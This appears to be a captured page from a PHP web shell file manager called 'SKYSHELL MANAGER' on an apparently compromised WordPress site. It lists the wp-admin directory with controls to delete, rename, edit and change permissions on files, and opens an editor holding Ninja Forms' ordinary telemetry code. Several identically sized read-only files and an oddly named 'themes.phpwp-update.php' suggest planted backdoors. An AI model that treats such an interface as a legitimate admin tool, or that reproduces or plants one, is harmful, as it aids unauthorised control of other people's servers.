📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Dispatcher.php
<?php use NinjaForms\Includes\Entities\NfSiteEnvironment; use NinjaForms\Includes\Entities\Usage; use NinjaForms\Includes\Factories\ConstructNfSiteEntity; use NinjaForms\Includes\Factories\ConstructNfSiteEnvironmentEntity; use NinjaForms\Includes\Factories\ConstructUsageEntity; /** * Handles sending information to our api.ninjaforms.com endpoint. * * @since 3.2 */ class NF_Dispatcher { private $api_url = 'https://api.ninjaforms.com/'; /** * Returns bool true if we are opted-in or have a premium add-on. * If a premium add-on is installed, then users have opted into tracked via our terms and conditions. * If no premium add-ons are installed, check to see if the user has opted in or out of anonymous usage tracking. * * @since 3.2.0 * @return bool */ public function should_we_send() { /** * TODO: * Prevent certain URLS or IPs from submitting. i.e. staging, 127.0.0.1, localhost, etc. */ if ( ! has_filter( 'ninja_forms_settings_licenses_addons' ) && ( ! Ninja_Forms()->tracking->is_opted_in() || Ninja_Forms()->tracking->is_opted_out() ) ) { return false; } return true; } /** * Send consolidated telemetry data * * @since 3.2 * @return void * * @updated 3.3.17 */ public function sendTelemetryData() { $environment = $this->constructNfSiteEnvironment(); $usage = $this->constructUsage( $environment->nf_db_version); $data = array_merge($environment->toArray(),$usage->toArray()); $this->send( '3.8.18', $data ); } /** * Construct environment variable * * @return NfSiteEnvironment */ protected function constructNfSiteEnvironment(): NfSiteEnvironment { $factory = new ConstructNfSiteEnvironmentEntity(); $return = $factory->handle(); return $return; } /** * Construct usage array * * @return Usage */ protected function constructUsage(): Usage { $factory = new ConstructUsageEntity(); $return = $factory->handle(); return $return; } /** * Sends a campaign slug and data to our API endpoint. * Checks to ensure that the user has 1) opted into tracking or 2) they have a premium add-on installed. * * @since 3.2 * @param string $slug Campaign slug * @param array $data Array of data being sent. Should NOT already be a JSON string. * @return void */ public function send( $slug, $data = array() ) { if ( ! $this->should_we_send() ) { return false; } $factory = new ConstructNfSiteEntity(); $siteEntity = $factory->handle(); $be_data = get_option( 'nf_be_data', [] ); /* * Send our data using wp_remote_post. */ $response = wp_remote_post( $this->api_url, array( 'body' => array( 'slug' => $slug, 'data' => wp_json_encode( $data ), 'site_data' => wp_json_encode( $siteEntity->jsonSerialize()), 'be_data' => wp_json_encode( $be_data ) ), ) ); if ( !is_wp_error( $response ) ) { delete_option( 'nf_be_data' ); } } }
Save